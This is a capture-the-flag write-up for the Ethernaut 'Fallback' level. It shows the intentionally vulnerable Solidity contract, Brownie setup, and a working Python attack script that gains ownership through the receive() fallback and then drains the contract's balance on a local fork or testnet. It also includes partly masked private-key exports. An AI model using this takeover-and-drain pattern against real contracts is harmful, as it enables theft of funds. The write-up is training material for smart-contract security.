Fallback Ethernaut

- 12 mins
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts/math/SafeMath.sol";

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }
  
  // fallback fn. :)
  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

Solution

brownie init
export PRIVATE_KEY=0xb8abda....231
export WEB3_INFURA_PROJECT_ID=c2abfm......haha
dependencies:
  - OpenZeppelin/openzeppelin-contracts@3.0.0
compiler:
  solc:
    remappings:
      - "@openzeppelin=OpenZeppelin/openzeppelin-contracts@3.0.0"
dotenv: .env
networks:
  default: mainnet-fork
  rinkeby:
    verify: False
wallets:
  from_key: ${PRIVATE_KEY}
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Fallback {
    function contribute() external payable;

    function getContribution() external;

    function withdraw() external;
}

#!/usr/bin/python3
from brownie import network, accounts, config

FORKED_LOCAL_ENVIRONMENTS = ["mainnet-fork", "mainnet-fork-dev"]
LOCAL_BLOCKCHAIN_ENVIRONMENTS = [
    "development",
    "ganache-local",
    "ganache-local-new-chainId",
]


def get_account():
    if (
        network.show_active() in LOCAL_BLOCKCHAIN_ENVIRONMENTS
        or network.show_active() in FORKED_LOCAL_ENVIRONMENTS
    ):
        return accounts[0], accounts[1]

    if network.show_active() in config["networks"]:
        return accounts.add(config["wallets"]["from_key"])

    return None
#!/usr/bin/python3
from brownie import Fallback
from scripts.helpful_scripts import get_account


def deploy():
    owner, _ = get_account()

    fallback = Fallback.deploy({"from": owner})
    
    print(f"Contract Deployed to {fallback.address}")
    return fallback, owner


def main():
    deploy()
#!/usr/bin/python3
from brownie import interface
from web3 import Web3
from colorama import Fore
from scripts.deploy import deploy
from scripts.helpful_scripts import get_account

# ? Global variables
AMOUNT = 0.00002
CONVERTED_AMOUNT = Web3.toWei(AMOUNT, "ether")

# * colours
green = Fore.GREEN
red = Fore.RED
blue = Fore.BLUE
magenta = Fore.MAGENTA
reset = Fore.RESET


def attack(contract_address=None, attacker=None):
    if contract_address is None:
        fallback_contract, owner = deploy()
        contract_address = fallback_contract.address
        # ? Geeting the accounst for local testing
        _, attacker = get_account()

    # print(contract_address)
    # print(attacker)
    # exit(1)

    fallback = interface.Fallback(contract_address)
    contrib_tx = fallback.contribute({"from": attacker, "value": CONVERTED_AMOUNT})
    contrib_tx.wait(1)

    print(f"{green}Contributed {AMOUNT} ETH to the contract{reset}")
    print(
        f"Contract Balance: {green}{Web3.fromWei(fallback_contract.balance(), 'ether')} ETH{reset}"
    )

    # ? Invoking the fallback fn. i.e. the recieve() methind in solidity which enables a contract to accept payments

    print(f"{red}Doing the Attack by invoking the fallback fn.{reset}")
    attack_tx = attacker.transfer(contract_address, CONVERTED_AMOUNT)
    attack_tx.wait(1)

    print(f"Previous Address of the owner : {green}{owner}{reset}")
    print(f"Current Address of the owner : {green}{fallback_contract.owner()}{reset}")
    print(f"Address of the attacker : {green}{attacker}{reset}")
    print(f"{red}Hehe Wer're now the owner{reset}")

    # ? Draining the funds
    print(f"{magenta}Now Draining the funds!!!{reset}")

    drain_tx = fallback_contract.withdraw({"from": attacker})
    drain_tx.wait(1)

    print(f"Contract Balance: {green}{fallback_contract.balance()}{reset}")
    print(f"{red}All the money has been withdrawn!!{reset}")


def main(contract_address=None):
    if contract_address:
        attack(contract_address, get_account())
    else:
        attack()
fallback = interface.Fallback(contract_address)

Approach

  1. We have to claim the contract i.e. we have to be the owner. For this we have to have contribute more than the owner. Which is a porblem for 2 reasons.
    1. We don’t have that much ether
    2. We can’t send more than 0.001 because of this line require(msg.value < 0.001 ether) in contribute fn.
  2. What can we do here………… Interestingly there is a receive() method which is interesting. This one says that if we make any contribution which is greater than 0 then we’ll be the owner of the contract. But this doesn’t look like a normal fn. It doesn’t have the function keyword. If we look at solidity documentation the receive() method is a special method (from solidity 6) that allows a contract to receive payments i.e. ether. Ok coool. More on receive fn.
receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
contrib_tx = fallback.contribute({"from": attacker, "value": CONVERTED_AMOUNT})
contrib_tx.wait(1)
attack_tx = attacker.transfer(contract_address, CONVERTED_AMOUNT)
attack_tx.wait(1)
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;

Using Brownie to run the program

brownie run .\scripts\attack.py

jadu

brownie run .\scripts\attack.py main "0x4c7c62Ed79994383EEa5Cf156bd3159e9e12C385" --network rinkeby
Saikat Karmakar

Saikat Karmakar

A Man who travels the world eating noodles